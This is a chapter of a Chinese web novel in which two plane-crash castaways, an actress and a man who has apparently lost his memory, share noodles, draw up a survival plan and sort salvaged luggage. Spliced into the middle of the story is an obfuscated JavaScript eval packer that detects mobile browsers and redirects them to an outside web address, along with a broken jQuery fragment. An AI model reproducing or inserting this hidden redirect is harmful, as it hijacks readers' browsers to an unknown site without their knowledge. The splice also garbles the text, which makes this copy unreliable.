陆荣馋得都快啃舌头了,也顾不上那么多,接过来仰头就喝。
奈何这汤实在清澈见底,一碗灌下去也只喝了个水饱,站起来晃晃肚子,几乎可以听见胃里咣当咣当响。
“盛姐……”
陆荣捧着空碗看盛夏,活像个要饭的。
总共只找出来几袋泡面,还不知道要撑多久呢,盛夏才舍不得给他吃,把脸扭向另一边装作没看见。
“吃饱了吧?吃饱了就睡,这样伤口才好得快。”
陆荣晃了晃碗,“盛姐,我睡不着。”
“躺下闭上眼睛不动,一会儿就睡着了,站着当然睡不着。”
盛夏突然感觉自己仿佛在照顾一个小宝宝。
陆荣也很想睡,可是东西吃一半,比不吃还折磨人,肚子里就像有无数只手在挠痒痒,他是绝对睡不了觉的。
看着无动于衷的盛夏,做出一个连他自己都意想不到的举动——他蹲下搂住对方的腰,将脑袋贴在她肚子上。
“盛姐,我真的好饿,我要饿死了……”
盛夏猝不及防吓了一大跳,整个人都僵住了,反应过来后将他猛地推开。
他跌倒在地,脑袋撞在沙子上,一动不动。
完了,不会被自己一巴掌给推死了吧?
可明明是他过分在先啊。
盛夏观察他许久,见他真的没动静,心脏顿时提到嗓子眼儿。
“喂,狗蛋。”她用脚尖踢了踢他屁股,“你没事吧。”
“我饿……”陆荣睁开眼睛,几乎带上了哭腔。
盛夏:“……给你吃给你吃,显得我欺负你似的,嗐!”
她忍着心痛从为数不多的几包泡面里又拿出一包煮上,特地挑的是她最不喜欢吃的海鲜口味。
看着跳跃的火苗,她脑子里不禁冒出一个问题。
陆荣真的失忆了吗?失忆了还这么死缠烂打?
还是说那就是他的本性?
他该不会是故意装失忆,博取她的同情吧?
这个想法出现之后,就越想越觉得有可能,她偷偷瞥了眼陆荣,对方正蹲在火堆旁盯着泡面流口水,眼神颇有几分心虚。
泡面很快煮好了,盛夏用木棍把碗夹到地上。
陆荣迫不及待地伸手来端,她用木棍敲了下他的手。
陆荣:“???”
盛夏清了下嗓子,“小心烫手,等会儿再吃。”
陆荣摸摸手背,没有异议,乖乖蹲在旁边等着,口水几乎在嘴里淌成一条小溪。
“狗蛋,”盛夏决定试他一试,“你现在还是想不起来以前的事吗?”
他摇摇头,“想不起来。”
盛夏摸着下巴,“我前些年去泰国玩的时候,有大师交给我一个咒语,说只要念三遍,就能让人想起遗失的记忆,你跟着我一起念吧。”
陆荣眼睛一亮,都顾不得看泡面了,“好啊!”
“陆荣是个阴险狡诈、傲慢愚蠢、厚颜无耻的卑鄙小人。”
“陆荣是谁?”
“你不想说?”
她该不会猜对了吧?他就是装失忆?
不料陆荣立刻否认,“没有没有,我只是感觉听起来像个人名。”
“那你就跟着念。”
他当真一字不落地念了三遍,然后期待地问:“这样就可以了吗?”
盛夏:“……”
肯定是攻击力还不够,再来!
“那只是前半段,还有后半段呢。”她努力回忆自己这辈子听过的最恶毒的词汇,“陆荣出门被车撞死,吃饭被饭噎死,喝水被水呛死,下雨被雷劈死,结婚被老婆戴绿帽,生孩子没□□,三十岁中风瘫痪在床,大小便失禁,火化后骨灰被人拿去当肥料,种得无籽西瓜全都长满了籽!”
陆荣结结实实地咽了口唾沫,不是馋的,是吓的。
“他可真惨。”
“你念不念?”
盛夏紧紧盯着他,不想错过任何一丝表情变化。
但他脸上除了惊讶外,没有半点不情愿的样子,老老实实念完三遍后,闭上眼睛努力搜寻记忆,最后摇摇头,“我还是想不起来。”
好吧,看来是真失忆了,不然以陆荣的性格,听到那番话能把整座岛都给扬了,更不可能亲口念。
盛夏放下心来,把泡面和叉子递给他。
“吃吧。”
陆荣高兴得接过来,埋头大吃,第二碗面也迅速见底。
他将泡面汤递到盛夏面前,献宝一般,“盛姐,这次的营养都给你。”
……要不是确定了他真的失忆了,她都怀疑他是在嘲笑自己了。
盛夏摆摆手,接过面碗走去水边洗碗。
面碗很油,没有洗洁精,不过没有关系,她扯来一把水草当抹布,反复擦拭几遍,碗就干干净净的了。
海岛的环境让她既陌生又熟悉,流落荒岛已成为定局,她唯一能做的就是在获救之前,努力过得好一点。
刚才翻找的行李箱里有一个巴掌大的笔记本,和一支笔。
盛夏将面碗放在干净的地方,把笔记本在石头上摊开,拿起笔边思考边写。
陆荣好奇地问:“盛姐,你在写什么?”
“我们活下去的计划。”
在城市里生活只要有钱就行,可在这鸟不拉屎的地方,需要的东西就很多了。
一,获取充足的食物和干净的淡水。
二,建造安全温暖的庇护所。
三,将整座荒岛探索一遍,排除危险,同时找到所有能够利用的东西。
四,打造小船,探索岛屿周围。
五,开垦荒地,寻找种子,准备打持久战。
最后一条是她想了很久才决定下来的。
开垦荒地想想也知道有多么耗时耗力,而且获益周期太长,要是他们在一年之内获救,就是白费了力气。
但以前看过的文艺作品和影视作品里,那些被困在荒岛上的主角基本都是十年八年后才离开的,最短的也待了两年。
要是她也在岛上待这么久,自己耕种就是最稳定的食物来源。
不过这个不着急,可以放到最后来做,先完成其他几项。
盛夏一向是个行动派,定好计划后就开工了,她的第一个目标是机舱。
里面还有很多行李箱,不知道箱子里会不会有食物,她得尽快把有用的东西挑出来。
盛夏从机舱里拖出来几只行李箱,在沙滩上打开,在里面翻找。
T恤、外套、牛仔裤……最多的还是衣服,男的女的,厚的薄的,什么都有。
她没扔,全都用箱子装好,留着以后穿,天冷了还能当被子盖。
此外还有许多鞋子,她选了两双与自己尺码接近的留下,一双凉拖,一双马丁靴。
凉拖可以在沙滩上穿,马丁靴能够保护脚踝,适合去树林里行走。
其他的同样没扔,用行李箱单独装好。
陆荣填饱了肚子,又休息了一会儿,体力恢复不少,也走过来帮忙。
“你穿多大码?”
盛夏问。
陆荣茫然不解。
她指了指他脚上的鞋子,陆荣登机时穿得是一双休闲鞋,据她所知要两万多一双,现在已经被海水泡得不成样子。
陆荣脱下鞋子,翻来覆去地看,想找找她所说的码数。
盛夏瞥了眼他的大脚,翻着白眼道:“不用看了。”
给他一双最大的就行。
她扔给他一双人字拖,陆荣换上之后满意地走了几步,咧嘴笑道:“真凉快。”
盛夏看着他的样子,痛恨自己为什么没有随身携带一个照相机。这样就能把他给拍下来,等以后恢复记忆再拿给他看,对陆荣来说绝对是天大的耻辱。
陆荣帮她整理东西,所有东西在他眼里都很新奇。
“盛姐,这是什么?”
“牙刷,刷牙齿用的,留着吧。”
“盛姐,这个呢?”
“剃须刀,等你胡子长长了可以用它剃掉。”
“盛姐,这上面的人和你长得一样。”
盛夏抬眼看去,只见他拿着一瓶护发素,正是她代言过的,上面印着她的照片。
“那是我妹妹,她是一个大明星。”她随口胡诌。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502535|186017||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陆荣捧着护发素认真地看了好一会儿,评价道:“还是你好看。”
哟,这小子有点说话天赋。
盛夏正想夸夸他,却听见他接着说道:“她的嘴巴太红了,看起来像要吃人。”
盛夏:“……你懂个屁!”
两人整理出十几个行李箱,夜色就降临了。
他们身边堆满了许多东西。
三箱衣服,两箱鞋子,一箱便携装的洗发水沐浴露等生活用品,一箱辣条和榨菜,一箱泡面,一箱火锅底料。
晚餐仍是椰子水煮泡面,为了增加营养,盛夏特地捡了两把贝壳扔进去,变成一锅货真价实的海鲜面。
吃饱喝足后,她用行李箱里找到的毛巾和牙刷洗漱了一番,虽然看起来像别人用过的,但这种环境下顾不上讲究了。
陆荣也学着她的样子做,把自己的牙齿刷得干干净净。
今天晚上看起来不像是有台风的样,盛夏将一条浴巾抖开铺在沙滩上,躺下后叮嘱陆荣:“千万不要让火堆灭了,记得添木头。”
这时黑夜里唯一能让他们被别人发现的办法,也是他们的生命之火。
陆荣点头,坐在火堆旁严阵以待。
晚上气温还是很高,估计有三十多度,他很快就开始流汗,透明的汗珠顺着下颚流到喉结,然后是锁骨、胸膛,最后隐入腹肌的纹路里。
岛上没有任何娱乐设施,也许她以后可以教陆荣跳舞给自己看,他的外形条件可比短视频里扭腰摆臀的那些优秀多了。
有吃有喝,还有美色可赏,盛夏突然感觉未来的生活也不是那么绝望。
她舒舒服服地闭上眼睛,很快进入梦乡。
梦里她又回到空难那天,耳边全是乘客们的哭喊和尖叫,小月就坐在她面前,满脸泪水地说她不想死。
她想抓住小月,可是越伸手对方就变得越远。
盛夏不安地颤抖着,似乎有一双大手温柔地抱住她,轻轻抚摸她的背脊。
她稳定下来,陷入沉睡中。
翌日盛夏是被海鸥的叫声唤醒的,睁开眼睛看见蔚蓝的大海,她愣了一会儿神,才想起来自己身处何处。
陆荣很尽责,火堆一晚上都没有熄灭,仍在燃烧着。
不过他也睡着了,蜷缩在旁边,白净的脸上有几道黑黑的炭印,估计是添木头时弄的。
盛夏扯起自己的衣服闻了闻,一股又腥又咸的臭味儿直冲鼻腔,险些把眼泪熏出来。
空难发生了这么久,她不知道流了多少汗,还没洗过澡呢。
清澈的海水令人蠢蠢欲动,她又看了眼还在睡觉的陆荣,后者发出轻微的鼾声,显然是睡得很深。
反正是无人荒岛,怕什么。
盛夏从昨天整理的衣服里选出一套合身的,然后拎着毛巾沐浴露等物朝水里走去。
她把东西放在岸边,自己慢慢走到海水里,清晨的水温是凉凉的,泡得人很舒服,温柔的海浪一波接一波的拍打在她身上,像极了按摩浴缸。
等海水没过肩膀,她便脱下自己的衣服,脏臭的衣服被海浪带走,几条小鱼轻轻亲吻她的皮肤,她伸手去抓,小鱼机敏地逃走。
盛夏撇撇嘴,回到岸边,蹲在沙滩上慢条斯理地往身上涂洗发水和沐浴露。
身为女明星,她的皮肤和头发都是每个月固定花大价钱保养的,属于随时都可以拍广告的最佳状态。
短短几天,盛夏明显感觉到自己的皮肤晒红了,脸糙了,头发都没以前柔顺了。
粉丝们都是慕强的,谁都希望自己的爱豆永远精致美丽,魅力四射。
在岛上她也不能松懈对自己的保养,将来获救的那天,她就算没办法白白嫩嫩的,也要充满野性美,气定神闲地回到摄像机前,而不是像个野人一样被拉上船。
这是身为女明星的自我修养!
想到这里,她又往脑袋上挤了一泵洗发水,泡沫越搓越多,流到眼睛里,盛夏连忙捧水洗眼睛,抓了几把却只抓到沙子。
就在她光着身子什么都看不见的时候,身后传来疑惑又关切的声音。
“盛姐,你在干嘛?”